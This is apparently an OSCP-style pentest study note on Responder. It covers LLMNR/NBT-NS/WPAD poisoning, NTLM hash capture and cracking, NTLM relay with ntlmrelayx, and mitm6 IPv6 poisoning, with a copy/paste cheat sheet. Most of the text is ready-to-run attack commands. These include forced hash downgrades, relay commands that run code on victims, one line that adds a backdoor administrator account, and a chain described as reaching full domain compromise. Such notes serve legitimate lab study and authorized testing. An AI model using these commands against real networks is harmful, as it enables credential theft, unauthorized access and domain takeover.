Responder

Responder — LLMNR/NBT-NS Poisoning & NTLM Hash Capture

External: Internal All The Things — Hash Capture External: Internal All The Things — Coerce

What is Responder?

Responder is a LLMNR, NBT-NS, and mDNS poisoner. It listens for name resolution broadcasts on the local network and responds with the attacker’s IP — tricking Windows hosts into authenticating to fake services and handing over NTLMv1/NTLMv2 password hashes.

Windows host:  "Hey network, who is FILESERVER?"   ← broadcast (LLMNR/NBT-NS)
Responder:     "That's me! Authenticate here."     ← poisoned reply
Windows host:  sends NTLMv2 challenge-response     ← hash captured!

OSCP relevance: Any time you’re on a Windows network segment (internal pentest, AD lab), run Responder. It passively captures hashes that can often be cracked with rockyou.txt and give you valid domain credentials with zero noise on the target.

---

📌 1) How the Poisoning Works

LLMNR (Link-Local Multicast Name Resolution)

• Windows fallback when DNS fails
• Sends a multicast to 224.0.0.252 (UDP/5355): “Who is [hostname]?”
• Responder answers: “I am” → victim authenticates via NTLM
• Port: UDP/TCP 5355

NBT-NS (NetBIOS Name Service)

• Older Windows fallback (pre-LLMNR)
• Broadcasts to 255.255.255.255 (UDP/137): “Who is [NETBIOSNAME]?”
• Responder answers → victim authenticates
• Port: UDP/TCP 137

mDNS (Multicast DNS)

• Apple/Bonjour-style multicast (224.0.0.251, UDP/5353)
• Responder can also poison these requests

WPAD (Web Proxy Auto-Discovery)

• Windows auto-discovers proxy settings by querying WPAD
• If DNS doesn’t resolve WPAD, LLMNR/NBT-NS is used
• Responder serves a rogue WPAD config → browser authenticates
• Captures hashes from browser sessions automatically

---

📌 2) Installation & Config

Install (Kali pre-installed)

# Check if installed
which responder
responder --version
 
# Install from GitHub (if needed)
git clone https://github.com/lgandx/Responder
cd Responder
pip3 install -r requirements.txt

Responder.conf

Located at /usr/share/responder/Responder.conf (or ./Responder.conf if cloned).

[Responder Core]
; Servers to start (On/Off)
SQL = On
SMB = On
RDP = Off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = On
HTTPS = On
DNS = On
LDAP = On
DCERPC = On
WINRM = On
 
; Set challenge to a fixed value (for relay — must match ntlmrelayx)
; Default: 1122334455667788
Challenge = 1122334455667788

For NTLM Relay attacks: Turn SMB and HTTP to Off in Responder.conf — you don’t want to capture, you want to relay. ntlmrelayx will handle those protocols.

---

📌 3) Core Flags

Flag	Description
-I eth0	Interface to listen on (required)
-i IP	IP to redirect victims to (your attacker IP, for WPAD)
-w On/Off	WPAD rogue proxy server
-r On/Off	NBT-NS wredir answers (for \WinHost style names)
-f On/Off	Fingerprint mode — identify OS/browser before poisoning
-F On/Off	Force NTLM/basic downgrade on WPAD and proxy auth
-P On/Off	Force NTLM/basic auth on proxy (use with -w On)
-b On/Off	Return HTTP Basic auth instead of NTLM
-A	Analyze mode — passive, don’t poison, just listen and report
--lm	Enable LM hash downgrade (capture LM hashes — easier to crack)
--disable-ess	Disable Extended Session Security (weaker hashes, easier to crack)
-v	Verbose output
-d	Enable answers for NETBIOS domain suffix queries
--no-multirequest	Only respond to first request per host (less noise)
--interface	Alias for -I

---

📌 4) Usage — Basic Hash Capture

Start Responder (most common OSCP use case)

# Find your interface first
ip a
ifconfig
 
# Basic — listen on interface, capture hashes
sudo responder -I eth0
 
# With WPAD (catches browser/proxy auth too)
sudo responder -I eth0 -w On
 
# With fingerprinting (identify targets before poisoning)
sudo responder -I eth0 -f On
 
# Full recommended OSCP setup
sudo responder -I eth0 -w On -r On -f On -v
 
# VPN interface (HTB/OSCP labs)
sudo responder -I tun0
sudo responder -I tun0 -w On -v

Analyze Mode (passive — just listen, don’t poison)

# Map the network — see who's broadcasting what without triggering alarms
sudo responder -I eth0 -A
 
# Useful to:
# - Identify active Windows hosts
# - See which hostnames are being queried (potential targets)
# - Understand the environment before going active

Force LM / Disable ESS (weaker hashes = easier to crack)

# Downgrade to LM (very old, almost instant to crack)
sudo responder -I eth0 --lm
 
# Disable Extended Session Security (makes NTLMv1 crackable without tables)
sudo responder -I eth0 --disable-ess

---

📌 5) Where Hashes Are Saved — /usr/share/responder/logs/*

Default Kali log path: /usr/share/responder/logs/*

Responder writes one .txt file per captured authentication into this directory. Each file holds the NTLMv1/NTLMv2 hash (and metadata like protocol, username, source IP) from a poisoned LLMNR/NBT-NS/mDNS session — SMB, HTTP, FTP, LDAP, etc. These are your offline-crack or relay inputs; nothing is sent upstream automatically.

# Log directory (Kali package install)
ls /usr/share/responder/logs/
ls ~/Responder/logs/    # if cloned from GitHub instead of apt
 
# Files are named by protocol and type
# Examples:
SMB-NTLMv2-SSP-10.10.10.5.txt
HTTP-NTLMv2-10.10.10.7.txt
FTP-NTLMv1-10.10.10.12.txt
 
# View captured hashes
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-10.10.10.5.txt
 
# Combine all into one file for cracking
cat /usr/share/responder/logs/*.txt > all_hashes.txt

Clear logs (new lab / avoid re-cracking old hashes)

sudo rm -rf /usr/share/responder/logs/*

NTLMv2 hash format (what you’ll see most often):

Administrator::DOMAIN:1122334455667788:AABBCCDDEEFF0011223344556677...:0101000000000000...
[USERNAME]::[DOMAIN]:[CHALLENGE]:[NTLMV2_RESPONSE]:[BLOB]

---

📌 6) Cracking Captured Hashes

With Hashcat

# NTLMv2 (most common — mode 5600)
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-10.10.10.5.txt /usr/share/wordlists/rockyou.txt
 
# NTLMv2 with rules (better coverage)
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
 
# NTLMv1 (mode 5500 — if you used --lm or --disable-ess)
hashcat -m 5500 hashes.txt /usr/share/wordlists/rockyou.txt
 
# NetNTLMv1 with ESS disabled (mode 5500)
hashcat -m 5500 hashes.txt /usr/share/wordlists/rockyou.txt
 
# Show cracked results
hashcat -m 5600 hashes.txt --show

With John the Ripper

# NTLMv2
john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 hashes.txt
 
# NTLMv1
john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv1 hashes.txt
 
# Show results
john hashes.txt --show

Tip: NTLMv2 hashes captured by Responder are NOT the same as NT hashes from secretsdump. You cannot use them for Pass-the-Hash — you must crack them to get the plaintext password.

---

📌 7) NTLM Relay Attack (ntlmrelayx)

When cracking isn’t fast enough — relay the hash instead of cracking it. If SMB signing is disabled on the target, you can authenticate AS the victim in real time.

No broadcast traffic? Writable SMB share → nxc `-M slinky` plants .lnk lures, then relay with impacket-ntlmrelayx --no-http-server. For many lure types → ntlm_theft + bulk upload (mount or native smbclient).

Step 1 — Check if SMB signing is disabled

# NetExec (most reliable)
netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
# Creates targets.txt with all hosts where signing is NOT required
 
# CrackMapExec (equivalent)
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
 
# Nmap
nmap -p 445 --script smb2-security-mode 10.10.10.0/24
# Look for: "Message signing enabled but not required" → VULNERABLE TO RELAY
 
# Manual check
crackmapexec smb 10.10.10.10
# Look for "signing:False" in output

SMB signing required (domain controllers) = relay fails. SMB signing disabled/not required (workstations, many servers) = relay works.

Step 2 — Edit Responder.conf (turn off SMB and HTTP)

# /usr/share/responder/Responder.conf
SMB = Off
HTTP = Off

This lets ntlmrelayx handle those protocols instead of Responder capturing them.

Step 3 — Start ntlmrelayx

# Basic relay — dump SAM hashes from target
impacket-ntlmrelayx -tf targets.txt -smb2support
 
# Relay and get interactive SMB shell
impacket-ntlmrelayx -tf targets.txt -smb2support -i
 
# Relay and execute command
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami > C:\Temp\out.txt"
 
# Relay to a single target
impacket-ntlmrelayx -t smb://10.10.10.5 -smb2support
 
# Relay via HTTP (for WPAD scenarios)
impacket-ntlmrelayx -tf targets.txt -smb2support -wh attacker_wpad
 
# Dump LDAP (if target is DC — for AD recon)
impacket-ntlmrelayx -tf targets.txt --no-smb-server -l loot_dir

Step 4 — Start Responder (in second terminal)

sudo responder -I eth0 -w On -r On

Step 5 — Wait for a victim to trigger

→ Victim browses to \\FILESERVER\ (doesn't exist)
→ LLMNR broadcast goes out
→ Responder poisons it → "I am FILESERVER"
→ Victim sends NTLM auth
→ Responder forwards to ntlmrelayx
→ ntlmrelayx authenticates to 10.10.10.5 AS the victim
→ Dumps SAM / executes command / opens shell

Step 6 — Connect to interactive shell (if -i was used)

# ntlmrelayx starts a local SMB shell on a local port (shown in output)
nc 127.0.0.1 11000   # port shown in ntlmrelayx output
# You now have an SMB shell as the victim user

---

📌 8) WPAD Attack (Force Browser Authentication)

# Start Responder with WPAD + forced NTLM/basic auth
sudo responder -I eth0 -w On -F On -P On -v
 
# What happens:
# 1. Windows queries for "wpad" via LLMNR/NBT-NS
# 2. Responder replies with its IP
# 3. Browser fetches WPAD script from Responder's HTTP server
# 4. Browser authenticates → hash captured

Effective against: IE/Edge browsers that send credentials automatically when connecting to “trusted” proxy. Chrome/Firefox may prompt the user.

---

📌 9) MultiRelay (Built-in relay in older Responder)

Responder includes MultiRelay.py for simpler relay setups:

# In Responder.conf: set SMB = Off, HTTP = Off
 
# Start MultiRelay (targets a specific host)
python3 /usr/share/responder/tools/MultiRelay.py -t 10.10.10.5 -u ALL
 
# Start Responder
sudo responder -I eth0 -w On
 
# When a victim connects, MultiRelay relays to 10.10.10.5
# Dumps hashes automatically

Note: impacket-ntlmrelayx is preferred for modern environments — MultiRelay is an older alternative.

---

📌 10) IPv6 Poisoning (mitm6)

Modern Windows prefers IPv6. mitm6 complements Responder by poisoning DHCPv6 and DNS over IPv6.

# Install
pip3 install mitm6
 
# Run mitm6 (poisons IPv6 DNS for target domain)
sudo mitm6 -d target.local
 
# Run ntlmrelayx targeting LDAP on the DC (to create a new DA account)
impacket-ntlmrelayx -6 -t ldaps://DC_IP -wh attacker_wpad --delegate-access
 
# Combined attack:
# mitm6 → victim queries IPv6 DNS → attacker replies
# ntlmrelayx relays LDAP auth to DC
# Creates a computer account or adds admin → full domain compromise

---

📌 11) Full OSCP Workflow

1. Check SMB signing:
   netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
   → If targets.txt not empty → relay is viable

2a. Hash capture (simpler):
    sudo responder -I tun0 -w On -v
    → Wait for traffic
    → Check /usr/share/responder/logs/
    → hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
    → Use cracked password for: SMB, WinRM, RDP, etc.

2b. Relay attack (no cracking needed):
    → Edit Responder.conf: SMB=Off, HTTP=Off
    → Terminal 1: impacket-ntlmrelayx -tf targets.txt -smb2support -i
    → Terminal 2: sudo responder -I eth0 -w On
    → Wait → get SMB shell or dumped hashes

3. With cracked / relayed creds:
   netexec smb TARGET -u user -p password --shares
   netexec smb TARGET -u user -p password -x "whoami"
   evil-winrm -i TARGET -u user -p password
   impacket-psexec domain/user:password@TARGET

---

📌 Quick OSCP Cheat Sheet (Copy/Paste)

# ─── BASIC CAPTURE ────────────────────────────────────────────
sudo responder -I tun0
sudo responder -I eth0 -w On -r On -f On -v
 
# ─── ANALYZE MODE (passive) ───────────────────────────────────
sudo responder -I eth0 -A
 
# ─── VIEW HASHES ──────────────────────────────────────────────
ls /usr/share/responder/logs/
cat /usr/share/responder/logs/*.txt
 
# ─── CLEAR OLD LOGS ───────────────────────────────────────────
sudo rm -rf /usr/share/responder/logs/*
 
# ─── CRACK NTLMv2 ─────────────────────────────────────────────
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 hashes.txt
 
# ─── CHECK SMB SIGNING ────────────────────────────────────────
netexec smb 10.10.10.0/24 --gen-relay-list targets.txt
nmap -p 445 --script smb2-security-mode 10.10.10.0/24
 
# ─── NTLM RELAY SETUP ─────────────────────────────────────────
# 1. Edit /usr/share/responder/Responder.conf → SMB=Off, HTTP=Off
# 2. Terminal 1:
impacket-ntlmrelayx -tf targets.txt -smb2support -i
# 3. Terminal 2:
sudo responder -I eth0 -w On
# 4. Connect to relay shell:
nc 127.0.0.1 11000
 
# ─── RELAY — EXECUTE COMMAND ──────────────────────────────────
impacket-ntlmrelayx -tf targets.txt -smb2support -c "net user hacker P@ss123 /add && net localgroup administrators hacker /add"
 
# ─── AFTER CRACKING — VERIFY CREDS ───────────────────────────
netexec smb TARGET -u username -p 'crackedpassword'
netexec winrm TARGET -u username -p 'crackedpassword'

---

📌 OPSEC Notes

• Responder is loud — every Windows host on the subnet will see your replies. Use analyze mode (-A) first to map targets without alerting.
• On monitored networks, LLMNR poisoning is often flagged immediately by EDR/SIEM. Use sparingly.
• Domain Controllers almost always have SMB signing enabled → relay won’t work against them.
• If you only get one hash and can’t crack it → try the relay approach instead.
• The --no-multirequest flag limits noise: only answer once per host.

---

📌 Common Hash Modes (Hashcat reference)

Hash Type	Hashcat Mode	When
NTLMv2 (NetNTLMv2)	5600	Most common from Responder
NTLMv1 (NetNTLMv1)	5500	With --lm or --disable-ess
NTLM (NT hash)	1000	From secretsdump / Mimikatz
LM hash	3000	Very old — rarely seen

---

Related Tools

• ntlmrelayx
• ntlm_theft
• CrackMapExec - nxc
• Mimikatz

Related Notes

• ntlm_theft
• SMB
• CrackMapExec - nxc
• Impacket
• Remote Execution
• secretsdump
• Kerberos Scripts
• ntlmrelayx
• Hashcat
• John
• Mimikatz
• Kerberoast
• Initial foothold
• LatMovement
• AD
• Training